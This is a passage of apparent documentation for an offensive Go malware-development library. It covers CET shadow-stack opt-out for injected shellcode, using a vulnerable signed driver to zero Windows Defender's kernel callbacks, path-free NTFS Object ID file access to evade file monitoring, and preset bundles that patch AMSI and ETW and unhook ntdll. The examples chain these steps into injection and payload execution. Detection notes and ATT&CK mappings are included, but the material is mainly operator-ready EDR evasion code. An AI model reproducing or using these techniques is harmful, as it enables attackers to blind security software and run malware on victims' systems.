// - The process is hardened for the rest of its lifetime
}
Advantages & Limitations
| Aspect | Detail |
|---|---|
| Stealth | High -- uses legitimate Windows mitigation APIs. Looks like a security-conscious application. |
| Effectiveness | Very high -- kernel-enforced. Even ring-0 drivers respect these mitigations (by design). |
| Irreversibility | Both policies are permanent for the process lifetime. Cannot be undone. |
| Order dependency | MUST apply AFTER all shellcode injection and evasion patching is complete. ACG blocks VirtualProtect to RX. |
| Compatibility | Windows 10 1709+ (Fall Creators Update). Returns error on older versions. |
| Limitations | SetProcessMitigationPolicy is a kernel32 export with no NT equivalent routable through *wsyscall.Caller. The caller parameter is accepted for API consistency but cannot bypass hooks on this specific function. BlockDLLs may break legitimate third-party DLLs. |
API Reference
// acg package
// Enable activates Arbitrary Code Guard for the current process.
// Requires Windows 10 1709+.
func Enable(caller *wsyscall.Caller) error
// Technique constructor:
func Guard() evasion.Technique
// blockdlls package
// Enable blocks loading of non-Microsoft-signed DLLs.
// Requires Windows 10 1709+.
func Enable(caller *wsyscall.Caller) error
// Technique constructor:
func MicrosoftOnly() evasion.Technique
See also
- Evasion area README
evasion/cet— sibling process-mitigation hardening (CET shadow stack)evasion/preset— bundles ACG + BlockDLLs into composable Technique stacks
Intel CET shadow-stack opt-out
TL;DR
On Intel CET-capable Windows 11+ hosts, indirect call/return targets
must begin with the ENDBR64 instruction (F3 0F 1E FA). Code that
violates this is killed with STATUS_STACK_BUFFER_OVERRUN (0xC000070A).
This package: detect (Enforced), opt out (Disable), or marker-
prefix shellcode (Wrap) so it survives CET-enforced indirect dispatch.
Primer
Control-flow Enforcement Technology is Intel's hardware-level mitigation
against ROP / JOP / COP attacks. The shadow stack tracks legitimate call
return addresses; the indirect-branch tracker requires ENDBR64 at every
indirect call destination. Both are enabled per-process via the
ProcessUserShadowStackPolicy mitigation.
For maldev, the most-impactful CET site is KiUserApcDispatcher. APC-
delivered shellcode (used by injection methods like
NtNotifyChangeDirectory-callback, fiber callback, etc.) executes via
indirect dispatch. If the shellcode doesn't start with ENDBR64, CET
kills the process.
Three complementary tools:
Enforced()reports whether the policy is active. Cheap; call this first before deciding between Disable and Wrap.Disable()is best-effort relax — fails when the image was compiled with/CETCOMPAT(the Go runtime currently is NOT, but/CETCOMPAT-compiled DLLs you might host can opt the process in).Wrap(sc)prepends the ENDBR64 marker if not present. Side-effect- free, idempotent. Safe to call unconditionally.
How it works
flowchart TD
Start["shellcode injected"] --> Q{"cet.Enforced ?"}
Q -- No --> Run["execute as-is"]
Q -- Yes --> TryDisable["cet.Disable"]
TryDisable -- success --> Run
TryDisable -- "fails ERROR_NOT_SUPPORTED" --> Wrap["sc = cet.Wrap(sc)"]
Wrap --> Run
Disable issues SetProcessMitigationPolicy(ProcessUserShadowStackPolicy, {Enable: 0, ...}). The kernel rejects the relax if any module in the
process has IMAGE_DLLCHARACTERISTICS_EX_CET_COMPAT set.
Wrap is a pure byte-level operation: prepend F3 0F 1E FA to the
shellcode buffer if the first 4 bytes don't already match.
API Reference
Marker
The 4-byte ENDBR64 instruction (F3 0F 1E FA) exposed as a []byte
constant for inspection or manual prefixing.
Enforced() bool
Returns true when the calling process has user-mode shadow-stack
enforcement active.
Side effects: none.
OPSEC: invisible — reads MITIGATION_POLICY via GetProcessMitigation Policy.
Disable() error
Best-effort relax of ProcessUserShadowStackPolicy for the current
process.
Returns: error — ERROR_NOT_SUPPORTED when the image is
/CETCOMPAT-compiled and the kernel refuses; wraps
SetProcessMitigationPolicy failures otherwise.
Side effects: process-global state — call once at start-up, not inside loops.
OPSEC: noisy. SetProcessMitigationPolicy is itself logged by
EDR; Defender ASR may emit an event. Prefer Wrap when you can.
Wrap(sc []byte) []byte
Return a copy of sc prefixed with Marker if not already present.
Idempotent; safe to call unconditionally.
Parameters: sc — shellcode bytes.
Returns: []byte — sc if it already begins with Marker,
otherwise a new buffer of length len(sc) + 4.
Side effects: none. Pure function.
OPSEC: invisible — only modifies caller-owned memory.
Examples
Simple
sc := []byte{0x90, 0x90, 0xc3} // nop nop ret
sc = cet.Wrap(sc) // now 7 bytes: F3 0F 1E FA 90 90 C3
Composed — runtime decision
if cet.Enforced() {
if err := cet.Disable(); err != nil {
sc = cet.Wrap(sc)
}
}
Advanced (chain into APC injection)
sc := loadShellcode()
if cet.Enforced() {
if err := cet.Disable(); err != nil {
sc = cet.Wrap(sc)
}
}
// CallbackNtNotifyChangeDirectory invokes the shellcode via
// KiUserApcDispatcher — without the marker on a CET host, this would
// die with STATUS_STACK_BUFFER_OVERRUN.
_ = inject.ExecuteCallback(sc, inject.CallbackNtNotifyChangeDirectory)
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
SetProcessMitigationPolicy(ProcessUserShadowStackPolicy) call | ETW TI Threat Intelligence + Defender ASR provider events |
| Process began with policy enforced, ended without | ETW per-process mitigation lifecycle |
| ENDBR64-prefixed shellcode in injected memory | EDR memory scanner — distinctive 4-byte pattern at RWX page starts |
D3FEND counter: D3-PSEP.
Hardening: treat SetProcessMitigationPolicy calls as high-fidelity
signal in process-spawn telemetry. The ENDBR64 prefix on injected
memory is a reasonable secondary heuristic.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1562.001 | Impair Defenses: Disable or Modify Tools | shadow-stack policy relax + marker prefix | D3-PSEP |
Limitations
Disablefails on/CETCOMPATimages. The Go runtime today is not, but a/CETCOMPATDLL loaded into the process locks the policy on.Wrapis the always-available fallback.Wrapdoesn't help with shadow-stack misalignment. Only the indirect-branch tracker is bypassed by ENDBR64. The shadow stack catches return-address mismatches; if your callback returns to a non-pristine RSP, CET still kills the process.- Pre-Win11 hosts have no CET.
Enforced()returnsfalse; bothDisableandWrapare no-ops. Calling them is harmless. - Non-Intel-CET CPUs (older Intel Skylake/Cascade Lake, all AMD
before Zen 4) have no CET hardware.
Enforced()returnsfalse.
See also
inject— APC paths require Marker on Win11+CET hosts.- Microsoft — CET shadow-stack overview.
- Intel — CET specification.
- Connor McGarr — CET internals.
Kernel callback enumeration + removal
← evasion area README · docs/index
TL;DR
evasion/kcallback reads the three in-kernel notify-callback arrays
(PspCreateProcessNotifyRoutine / PspCreateThreadNotifyRoutine /
PspLoadImageNotifyRoutine) through any caller-supplied
KernelReader (BYOVD), maps each slot to the registering driver,
and — when paired with a KernelReadWriter — selectively zeroes EDR
slots and restores them later. No built-in offset database: callers
pass an OffsetTable keyed on the running ntoskrnl build.
Primer
Modern EDR / AV products hook into kernel event streams by registering
kernel notification callbacks via PsSetCreateProcessNotifyRoutine,
PsSetCreateThreadNotifyRoutine, and PsSetLoadImageNotifyRoutine.
Each API appends a callback slot to one of three in-kernel arrays:
| Array | Trigger | Used by |
|---|---|---|
PspCreateProcessNotifyRoutine | NtCreateUserProcess | EDR process-start telemetry |
PspCreateThreadNotifyRoutine | PspInsertThread | EDR thread-start telemetry |
PspLoadImageNotifyRoutine | MiMapViewOfImageSection | EDR image-load scanning |
Each slot is a PEX_CALLBACK — a 64-bit value where the upper 60
bits point at a ROUTINE_BLOCK and the lower 4 bits are flags
(enabled, reference count). The real callback function lives at
offset 8 inside the ROUTINE_BLOCK.
Enumerating the arrays tells the operator which driver registered which callback — typically directly revealing the EDR's kernel driver
- the function it hooks. Removing a slot is the more aggressive play: the EDR stops seeing the relevant kernel events. Both paths need arbitrary kernel R/W, which user-mode alone cannot reach. Every public technique (EDRSandBlast, kdmapper + custom driver, RTCore64) relies on a signed-driver primitive — BYOVD.
How It Works
sequenceDiagram
participant U as "Caller"
participant K as "kcallback"
participant R as "KernelReader (BYOVD)"
participant N as "ntoskrnl"
U->>K: NtoskrnlBase()
K->>N: NtQuerySystemInformation(SystemModuleInformation)
N-->>K: base = 0xFFFFF80123400000
U->>K: Enumerate(reader, OffsetTable)
loop for each configured RoutineRVA
K->>R: ReadKernel(base + rva, ArrayLen * 8)
R-->>K: ArrayLen slots, 8 bytes each
loop per non-zero slot
K->>K: block = slot AND NOT 0xF
K->>R: ReadKernel(block + 8, 8) -- function pointer
R-->>K: callback function VA
K->>K: DriverAt(fn) -- driver name
end
end
K-->>U: []Callback Kind, Index, Address, Module, Enabled
Steps:
NtoskrnlBaseresolves the kernel image base viaNtQuerySystemInformation(SystemModuleInformation)— user-mode-only, no driver needed.Enumeratereads the three callback arrays frombase + RVAfor each configured array, masks the lower 4 tag bits, follows theROUTINE_BLOCK + 8indirection to the actual callback function, and resolves the owning driver viaDriverAt(best-effort module-name lookup).Remove(separate primitive) reads the original 8-byte slot, captures it into an opaqueRemoveToken, then writes 8 zero bytes. The EDR's notify routine stops being called as soon as the kernel sees the zero write.Restorere-writes the captured token; safe to defer immediately afterRemovebecauseRemoveToken{}IsZero()makes restore a no-op whenRemovereturned an error.
The read-original / write-zero pair has a ~µs race window where a competing actor could observe a half-written slot. RTCore64 issues both IOCTLs fast enough that production scanners rarely observe this in practice.
Per-build offset table
OffsetTable.CreateProcessRoutineRVA /
CreateThreadRoutineRVA / LoadImageRoutineRVA are
caller-populated. The package ships no built-in database
because offsets shift with every cumulative ntoskrnl update —
hardcoding a stale offset would point callers at garbage and
silently produce wrong results.
Derivation workflow (offline, one-time per build):
- Grab the victim's
ntoskrnl.exefromC:\Windows\System32\ntoskrnl.exe. - Fetch its PDB:
symchk /if ntoskrnl.exe /s SRV*c:\symbols*https://msdl.microsoft.com/download/symbols. - Dump the symbol RVA:
llvm-pdbutil dump --globals ntoskrnl.pdb | grep PspCreateProcessNotifyRoutine. - Record the RVA in
OffsetTable{Build: 19045, CreateProcessRoutineRVA: 0xC1AAA0, ...}. - Build a
map[uint32]OffsetTablekeyed by build and pick at runtime viawin/version.Current().BuildNumber.
EDRSandBlast publishes a regularly-updated offset table — treat it as upstream reference, not as committed library state.
API Reference
type Kind int
const (
KindCreateProcess Kind = iota + 1 // PspCreateProcessNotifyRoutine
KindCreateThread // PspCreateThreadNotifyRoutine
KindLoadImage // PspLoadImageNotifyRoutine
)
type Callback struct {
Kind Kind
Index int
SlotAddr uintptr // kernel VA of the slot itself
Address uintptr // resolved callback-function VA
Module string // best-effort driver-name resolution
Enabled bool // low bit of the slot value
}
type OffsetTable struct {
Build uint32
CreateProcessRoutineRVA uint32
CreateThreadRoutineRVA uint32
LoadImageRoutineRVA uint32
ArrayLen int // typically 64 (Win10), 96+ (Win11)
}
type KernelReader interface {
ReadKernel(addr uintptr, buf []byte) (int, error)
}
type KernelReadWriter interface {
KernelReader
WriteKernel(addr uintptr, data []byte) (int, error)
}
type NullKernelReader struct{}
type RemoveToken struct{ /* opaque */ }
func NtoskrnlBase() (uintptr, error)
func DriverAt(addr uintptr) (string, error)
func Enumerate(reader KernelReader, tab OffsetTable) ([]Callback, error)
func Remove(cb Callback, writer KernelReadWriter) (RemoveToken, error)
func Restore(tok RemoveToken, writer KernelReadWriter) error
func (RemoveToken) IsZero() bool
Sentinel errors: ErrNoKernelReader, ErrReadOnly,
ErrNtoskrnlNotFound, ErrOffsetUnknown, ErrEmptySlot.
NtoskrnlBase() (uintptr, error)
Resolves the running kernel image base via
NtQuerySystemInformation(SystemModuleInformation).
Parameters: none.
Returns:
uintptr— non-zero kernel VA ofntoskrnl.exeon success.error—ErrNtoskrnlNotFoundwhen the module isn't in the enumerated list (extremely unusual).
Side effects: none beyond a single user-mode NtQSI call.
OPSEC: quiet. NtQSI(SystemModuleInformation) is a common
benign call; flagged only when used in pre-injection
fingerprinting patterns.
Required privileges: medium-IL (NtQSI requires SeDebugPrivilege
or admin token to read kernel addresses on Win10 1607+).
Platform: windows amd64.
DriverAt(addr uintptr) (string, error)
Best-effort module-name lookup for a kernel-mode address. Walks
the same SystemModuleInformation snapshot used by NtoskrnlBase
and returns the module whose [Base, Base+Size) window contains
addr.
Parameters:
addr— kernel VA. Must lie inside a loaded driver module to resolve.
Returns:
string— driver image name (WdFilter.sys, etc.). Empty on miss.error— non-nil only if the snapshot fails.
Side effects: caches the snapshot for subsequent calls.
OPSEC: quiet, no syscall pressure.
Required privileges: medium-IL (same as NtoskrnlBase).
Platform: windows amd64.
Enumerate(reader, tab) ([]Callback, error)
Walks the three configured arrays via reader.ReadKernel and
returns one Callback per non-zero slot.
Parameters:
reader— caller-suppliedKernelReader. Usekernel/driver/rtcore64or any other BYOVD primitive.tab— populatedOffsetTablefor the current ntoskrnl build.
Returns:
[]Callback— one entry per non-empty slot, sorted byKind/Index. Empty slice when all arrays are empty.error—ErrNoKernelReaderwhenreaderisNullKernelReader;ErrOffsetUnknownwhentab.Build == 0;ErrNtoskrnlNotFoundfrom the underlying base resolution; or the BYOVD reader's own errors.
Side effects: issues O(arrays × ArrayLen) ReadKernel calls
through the supplied reader. Each subsequent
slot-block dereference is one more ReadKernel.
OPSEC: quiet at the user-mode boundary; loud at the BYOVD boundary (every IOCTL through the signed driver is recordable SCM telemetry).
Required privileges: kernel — needs a working BYOVD
KernelReader. The user-mode caller itself runs medium-IL+
once the driver is up.
Platform: windows amd64.
Remove(cb, writer) (RemoveToken, error)
Reads the 8-byte slot at cb.SlotAddr, captures the original
tagged-pointer value into a RemoveToken, then writes 8 zero
bytes. The EDR's notify routine stops being called as soon as the
kernel sees the zero write.
Parameters:
cb—Callbackreturned byEnumerate.SlotAddris the field this primitive needs.writer—KernelReadWriter(BYOVD).
Returns:
RemoveToken— opaque; pair withRestore.error—ErrReadOnlywhenwritercannot write;ErrEmptySlotwhen the slot is already zero (avoids overwriting an unrelated allocation that may have re-used the location).
Side effects: mutates kernel memory at cb.SlotAddr (zero
bytes). Subsequent NtCreateUserProcess (or whichever event the
slot served) skips the EDR callback for the duration.
OPSEC: very-noisy at the BYOVD-driver-load boundary. Once the slot is zeroed, the EDR is blind to that event class — the visible signal is the driver load + IOCTL not the slot write.
Required privileges: kernel (BYOVD).
Platform: windows amd64.
Restore(tok, writer) error
Writes tok's captured value back into the slot. Safe to call on
a zero-token (returns nil immediately) — makes
defer Restore(tok, writer) idiomatic even before Remove
runs successfully.
Parameters:
tok— token fromRemove.writer— sameKernelReadWriterthat performed the remove.
Returns:
error—ErrReadOnlywhen the writer can't write; underlying BYOVD errors otherwise.
Side effects: restores 8 bytes of kernel memory.
OPSEC: same as Remove — the BYOVD boundary is the loud part.
Required privileges: kernel (BYOVD).
Platform: windows amd64.
Examples
Simple — enumerate
v := version.Current()
tab := offsetsByBuild[v.BuildNumber] // operator-curated map
if tab.Build == 0 {
log.Fatalf("no offsets for ntoskrnl build %d", v.BuildNumber)
}
reader := MyDriverReader{} // any BYOVD KernelReader
cbs, err := kcallback.Enumerate(&reader, tab)
if err != nil {
log.Fatal(err)
}
for _, cb := range cbs {
fmt.Printf("%v[%d] -> %#x (%s) enabled=%v\n",
cb.Kind, cb.Index, cb.Address, cb.Module, cb.Enabled)
}
Sample output:
KindCreateProcess[0] -> 0xFFFFF80123456789 (ntoskrnl.exe) enabled=true
KindCreateProcess[1] -> 0xFFFFF88765432100 (cidevrt.sys) enabled=true
KindCreateProcess[2] -> 0xFFFFF89abcdef000 (WdFilter.sys) enabled=true
KindCreateThread [0] -> 0xFFFFF89abcdef800 (WdFilter.sys) enabled=true
KindLoadImage [0] -> 0xFFFFF89abcdef100 (WdFilter.sys) enabled=true
Composed — RTCore64 + selective Remove + Restore
Pair the enumeration with a driver-backed KernelReadWriter,
zero the slots owned by the EDR's notify routines for the
duration of the payload, then restore everything before exit.
import (
"github.com/oioio-space/maldev/evasion/kcallback"
"github.com/oioio-space/maldev/kernel/driver/rtcore64"
)
var d rtcore64.Driver
if err := d.Install(); err != nil {
log.Fatal(err)
}
defer d.Uninstall()
tab := kcallback.OffsetTable{
Build: 19045,
CreateProcessRoutineRVA: 0xC1AAA0,
CreateThreadRoutineRVA: 0xC1AC20,
LoadImageRoutineRVA: 0xC1AB40,
ArrayLen: 64,
}
cbs, _ := kcallback.Enumerate(&d, tab)
defenderModules := map[string]bool{
"WdFilter.sys": true, "MsSecCore.sys": true, "WdNisDrv.sys": true,
}
var tokens []kcallback.RemoveToken
for _, cb := range cbs {
if !defenderModules[cb.Module] {
continue
}
tok, err := kcallback.Remove(cb, &d)
if err != nil {
log.Printf("remove %v[%d]: %v", cb.Kind, cb.Index, err)
continue
}
tokens = append(tokens, tok)
}
defer func() {
for _, tok := range tokens {
_ = kcallback.Restore(tok, &d)
}
}()
// ... payload runs while the Defender callbacks are silenced ...
Advanced — chain into self-injection
Composing kcallback with inject and evasion/preset so the
disabled-callback window covers the noisiest part of the chain:
// 1. BYOVD up.
var d rtcore64.Driver
_ = d.Install()
defer d.Uninstall()
// 2. Apply the in-process Stealth preset (AMSI / ETW / unhook).
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHashGate())
defer caller.Close()
_ = preset.Stealth().ApplyAll(caller)
// 3. Zero Defender callbacks.
cbs, _ := kcallback.Enumerate(&d, tab)
var tokens []kcallback.RemoveToken
for _, cb := range cbs {
if cb.Module != "WdFilter.sys" {
continue
}
if tok, err := kcallback.Remove(cb, &d); err == nil {
tokens = append(tokens, tok)
}
}
defer func() {
for _, tok := range tokens {
_ = kcallback.Restore(tok, &d)
}
}()
// 4. Self-inject.
inj, _ := inject.NewWindowsInjector(&inject.WindowsConfig{
Config: inject.Config{Method: inject.MethodCreateThread},
SyscallMethod: wsyscall.MethodIndirect,
})
_ = inj.Inject(shellcode)
OPSEC & Detection
| Vector | Visibility | Mitigation |
|---|---|---|
BYOVD driver install (NtLoadDriver + SCM) | very-noisy — every vendor watches | accept; this is the price of any kernel R/W primitive |
NtQSI(SystemModuleInformation) from low-IL | medium-IL gate; flagged in some pre-injection patterns | run from an already-elevated context |
| Slot write itself | invisible at user-mode; visible to defender drivers that snapshot the array | reduce window: zero → run payload → restore fast |
| Race between read and write | ~µs window; rarely observable | use RTCore64 (fast IOCTL) over slower drivers |
Module name in Callback.Module | static reveal of EDR driver presence | informational; use to decide whether to engage |
D3FEND counters: D3-DLIC (Driver Load Integrity Checking) on the BYOVD load path, D3-AIPA (Application Integrity Analysis) on post-disable EDR sensors that re-snapshot their own callbacks.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1562.001 | Impair Defenses: Disable or Modify Tools | kernel-callback array zero | D3-AIPA |
| T1014 | Rootkit | kernel-mode access | D3-DLIC |
| T1543.003 | Create or Modify System Process: Windows Service | BYOVD service install | D3-SBV |
Limitations
- User-mode read is impossible.
NullKernelReader(the default injection target) always returnsErrNoKernelReader. A real enumeration needs a driver primitive. - Offsets shift frequently. Pin your offset table to specific
build numbers; always fall back to
ErrOffsetUnknownwhen the current build isn't mapped. The package intentionally ships no built-in database. - The Enabled bit is approximate. The low bit of a
PEX_CALLBACKslot isn't universally "enabled" — in some Windows builds it's part of the reference count. Trust theAddressfield as the primary signal; treatEnabledas a hint. - No removal-helper-by-module. A
RemoveByModule(name, writer)convenience is on the backlog; today operators iterate theEnumerateresult and checkcb.Modulethemselves. - HVCI / vulnerable-driver block list. RTCore64 is refused on
HVCI-on Win10/11 ≥ 2021-09 — pick a different BYOVD or accept
the gate.
kcallbackis driver-agnostic; any reader satisfyingKernelReaderworks.
See also
- Evasion area README
kernel/driver— supplies the BYOVD R/W primitive consumed herekernel/driver/rtcore64— concrete signed-driver implementation- package godoc
StealthOpen — NTFS Object ID File Access
MITRE ATT&CK: T1036 - Masquerading
Package: evasion/stealthopen
Platform: Windows (NTFS only)
Detection: Low
Primer
Most file-monitoring tools (EDR minifilters, AV path filters, Sysmon
FileCreate rules) decide whether to alert based on the filename or path
that the process tried to open. If you can open the same file without ever
mentioning its path, those filters go blind.
NTFS supports this natively. Every file can carry a 128-bit Object ID in
its MFT record. Once that Object ID is known, Win32's OpenFileById opens the
file by GUID — the kernel never sees a path in the open request, so any hook
matching on *.docx, ntds.dit, lsass.dmp, etc. simply does not fire.
How It Works
sequenceDiagram
participant Code as "stealthopen"
participant Vol as "Volume handle"
participant NTFS as "NTFS driver"
participant MFT as "$OBJECT_ID attr"
Note over Code: Phase 1 — stamp the target
Code->>Vol: CreateFile("C:\\sensitive.bin")
Code->>NTFS: FSCTL_CREATE_OR_GET_OBJECT_ID
NTFS->>MFT: Write 128-bit GUID
NTFS-->>Code: 16-byte Object ID
Note over Code: Phase 2 — reopen without the path
Code->>Vol: CreateFile("C:\\") root handle
Code->>NTFS: OpenFileById(ObjectIdType, GUID)
NTFS->>MFT: Look up GUID → file record
NTFS-->>Code: *os.File (path-free open)
Key points:
FSCTL_CREATE_OR_GET_OBJECT_IDlazily assigns an Object ID if the file has none;FSCTL_SET_OBJECT_IDinstalls a caller-chosen GUID (useful for pre-shared identifiers between implant and operator).OpenFileByIdwithFILE_ID_TYPE = ObjectIdTyperequires a volume handle, not a path — the kernel dispatches straight to the MFT.- Minifilters that resolve
FILE_OBJECTback to a path viaFltGetFileNameInformationdo still see the real file — this technique defeats name-keyed filters, not every defensive mechanism.
Usage
import "github.com/oioio-space/maldev/evasion/stealthopen"
// One-time: stamp the sensitive file so we can recall its GUID later.
id, err := stealthopen.GetObjectID(`C:\sensitive.bin`)
if err != nil {
log.Fatal(err)
}
// Later — without ever mentioning the path:
f, err := stealthopen.OpenByID(`C:\`, id)
if err != nil {
log.Fatal(err)
}
defer f.Close()
io.Copy(os.Stdout, f)
Installing a known GUID (pre-shared between stager and second stage):
well := [16]byte{0xDE, 0xAD, 0xBE, 0xEF, /* ... */}
_ = stealthopen.SetObjectID(`C:\ProgramData\tmp.cfg`, well)
// Second stage knows the GUID by constant — no path string on either side.
f, _ := stealthopen.OpenByID(`C:\`, well)
Combined Example
Drop an encrypted payload, stamp it with a fixed Object ID, then delete all path traces from the implant so a later call opens the same bytes without any filename string ever appearing in the implant image or in the kernel open request.
package main
import (
"io"
"os"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/evasion/stealthopen"
)
// Baked-in GUID — the only reference the second stage needs.
var payloadID = [16]byte{
0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88,
0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff, 0x00,
}
func drop(key, plaintext []byte) error {
const tmp = `C:\ProgramData\Intel\update.bin`
blob, _ := crypto.EncryptAESGCM(key, plaintext)
if err := os.WriteFile(tmp, blob, 0o644); err != nil {
return err
}
return stealthopen.SetObjectID(tmp, payloadID)
}
func reopen(key []byte) ([]byte, error) {
f, err := stealthopen.OpenByID(`C:\`, payloadID)
if err != nil {
return nil, err
}
defer f.Close()
blob, err := io.ReadAll(f) // read via the path-free handle
if err != nil {
return nil, err
}
return crypto.DecryptAESGCM(key, blob)
}
The implant binary never contains the string update.bin nor a hard-coded
path — only the 16-byte GUID. Any EDR matching on *.bin under
C:\ProgramData misses the reopen.
Composing with Other Packages — the Opener Pattern
Reading a sensitive file directly (low-level OpenByID call) is fine for
one-off access. For the packages inside maldev that themselves open
sensitive files (unhook reading ntdll, phantomdll reading System32 DLLs,
herpaderping reading the payload), stealthopen exposes an Opener
abstraction that mirrors how *wsyscall.Caller is passed through the
code: an optional, nil-safe handle that consuming packages accept as a
plain parameter.
type Opener interface {
Open(path string) (*os.File, error)
}
// Standard: plain os.Open. Default when the caller passes nil.
type Standard struct{}
// Stealth: captures (volume, ObjectID) once, then all Open() calls go
// through OpenFileById — path-based file hooks never fire.
type Stealth struct {
VolumePath string
ObjectID [16]byte
}
// NewStealth derives both fields from a real path in one call, so the
// caller just hands the result to the consuming package.
func NewStealth(path string) (*Stealth, error)
// Use normalizes the nil case to Standard.
func Use(opener Opener) Opener
The pattern in practice
import (
"github.com/oioio-space/maldev/evasion/stealthopen"
"github.com/oioio-space/maldev/evasion/unhook"
)
sysDir, _ := windows.GetSystemDirectory()
ntdllPath := filepath.Join(sysDir, "ntdll.dll")
// One-time: capture ntdll's Object ID + volume root.
stealth, err := stealthopen.NewStealth(ntdllPath)
if err != nil { /* non-NTFS, or no ObjectID — fall back to nil */ }
// Hand it to every unhook call; any path-based EDR hook on CreateFile
// for ntdll.dll never fires. nil = same as before (path-based read).
_ = unhook.ClassicUnhook("NtCreateSection", caller, stealth)
_ = unhook.FullUnhook(caller, stealth)
Where it's wired today
| Consumer | Function / Config field | What gets stealth-opened |
|---|---|---|
evasion/unhook.ClassicUnhook | 3rd arg | System32\ntdll.dll |
evasion/unhook.FullUnhook | 2nd arg | System32\ntdll.dll |
inject.PhantomDLLInject | 4th arg | System32\<dllName> (read and the HANDLE passed to NtCreateSection) |
process/tamper/herpaderping.Config.Opener | struct field | PayloadPath + DecoyPath |
All four treat nil as "use the existing path-based open" — no behavior
change for existing callers. Tests in evasion/stealthopen/opener_test.go,
evasion/stealthopen/opener_windows_test.go, evasion/unhook/opener_windows_test.go,
inject/phantomdll_opener_test.go, and process/tamper/herpaderping/opener_windows_test.go
pin the contract (spy-opener call-counting + real end-to-end round-trip
through OpenFileById).
Limitations to remember
- NTFS only. ReFS / FAT32 / UNC shares without NTFS expose no Object ID.
Detect by checking
NewStealth's error. - Object ID must preexist on the target file. System32 DLLs generally
do have one; fresh payloads may need
GetObjectID(creates on demand, often works without admin) orSetObjectID(admin, lets you pin a fixed GUID). - Volume root required.
VolumeFromPathextracts it from drive-letter, Win32-prefixed, and UNC paths — but a\\?\Volume{GUID}\root needsGetVolumePathNameunder the hood; the helper does that for you. - Not a magic bullet. Minifilters that resolve the final
FILE_OBJECTto a path after the open still see the real path. This beats name-keyed pre-open filters, not every defensive mechanism.
API Reference
See the package godoc.
The Opener interface is the seam — pass any implementation
(stealthopen.New(...), a test spy, etc.) to consumers that
accept it (cleanup/wipe, persistence/lnk once P2.16 lands).
See also
- Evasion area README
cleanup/ads— companion NTFS-Object-ID-aware ADS primitivepersistence/lnk— backlog P2.16 wires LNK creation through stealthopen for fileless drop
Preset — Ready-to-Use Evasion Combinations
Package: evasion/preset
Platform: Windows only
Detection: Varies by preset (Low for Minimal, Medium for Stealth, High for Aggressive)
Preset bundles the most common evasion techniques into three opinionated
configurations keyed on risk tolerance. Each preset returns
[]evasion.Technique for use with evasion.ApplyAll().
Primer
Evasion rarely works in isolation — AMSI alone misses ETW, ETW alone misses userland hooks. Presets are pre-composed bundles (Minimal, Stealth, Aggressive) that apply a coherent set of techniques in one call. Pick one, ship it, don't micromanage the pieces.
How It Works
A preset is just a function returning []evasion.Technique. evasion.ApplyAll iterates the slice and invokes each technique's Apply() in order, collecting per-technique failures into a map. Nothing magic: the value is curation, not new code.
flowchart LR
A[preset.Stealth] --> B["[]evasion.Technique<br>amsi + etw + 10x unhook"]
B --> C["evasion.ApplyAll(slice, caller)"]
C --> D{"each .Apply()"}
D --> E[AMSI patched]
D --> F[ETW silenced]
D --> G[ntdll prologues restored]
D --> H["errors map[name]error"]
preset.Minimal()— AMSI + ETW only. No disk reads, no mitigation policies.preset.Stealth()— Minimal + classic unhook of the 10 functions inunhook.CommonHookedFunctions.preset.Hardened()— full AMSI + full ETW + full ntdll unhook + CET opt-out. CET-aware sweet spot: APC-delivered shellcode survives Win11 24H2+ ENDBR64 enforcement without losing the ability to inject afterwards.preset.Aggressive()— Hardened + ACG + BlockDLLs. Irreversible.
preset.CETOptOut() — standalone Technique callers can pull into a custom stack. No-op when CET is not enforced.
Order matters for Aggressive — ACG and BlockDLLs permanently restrict the process, so all RWX allocation and injection must be done before applying it.
Minimal
Risk: Low
Use case: Droppers, stagers, initial-access payloads where staying off
radar matters more than bypassing advanced EDR hooks.
Included techniques
| Technique | Package | What it does |
|---|---|---|
amsi.ScanBufferPatch() | evasion/amsi | Overwrites AmsiScanBuffer entry with xor eax,eax; ret — all AMSI scans return clean |
etw.All() | evasion/etw | Patches all EtwEventWrite* functions and NtTraceEvent with xor rax,rax; ret — ETW events are silently dropped |
Rationale
AMSI and ETW are the two highest-signal telemetry paths for script/reflective loaders. Patching only these two functions has the smallest footprint: no disk reads of ntdll, no process spawning, no mitigation policy changes. The patch surface is three small memory writes. Suitable whenever the primary concern is bypassing in-memory script scanning rather than defeating userland hooks on injection primitives.
Stealth
Risk: Medium
Use case: Post-exploitation tooling, injectors, and loaders that need to
perform process injection without inline hook interference from EDR agents.
Included techniques
Stealth is a superset of Minimal — all Minimal techniques apply, plus:
| Technique | Package | What it does |
|---|---|---|
amsi.ScanBufferPatch() | evasion/amsi | (from Minimal) AMSI bypass |
etw.All() | evasion/etw | (from Minimal) ETW silence |
unhook.Classic("NtAllocateVirtualMemory") | evasion/unhook | Restores first 5 bytes of syscall stub from on-disk ntdll |
unhook.Classic("NtWriteVirtualMemory") | evasion/unhook | Same for write primitive |
unhook.Classic("NtProtectVirtualMemory") | evasion/unhook | Same for protect primitive |
unhook.Classic("NtCreateThreadEx") | evasion/unhook | Same for thread creation |
unhook.Classic("NtMapViewOfSection") | evasion/unhook | Same for section mapping |
unhook.Classic("NtQueueApcThread") | evasion/unhook | Same for APC-based injection |
unhook.Classic("NtSetContextThread") | evasion/unhook | Same for thread hijacking |
unhook.Classic("NtResumeThread") | evasion/unhook | Same for thread resume |
unhook.Classic("NtCreateSection") | evasion/unhook | Same for section creation |
unhook.Classic("NtOpenProcess") | evasion/unhook | Same for process opening |
All 10 functions come from unhook.CommonHookedFunctions via unhook.CommonClassic().
Rationale
EDR/AV products hook the 10 functions in CommonHookedFunctions because they
are the core primitives for process injection and shellcode execution. Classic
unhooking reads the original prologue bytes from the clean on-disk ntdll.dll
and writes them back — no process spawning, just targeted 5-byte patches.
This is surgical: only restore what is likely hooked, minimise the number of
memory writes, and avoid the large-region writes of FullUnhook that are
easier to detect via integrity checks. The combination of AMSI+ETW silence
plus unhooking gives adequate coverage for most injection scenarios without
the irreversible side effects of Aggressive.
Aggressive
Risk: High
Use case: Red team finals, assumed-breach scenarios, long-dwell implants
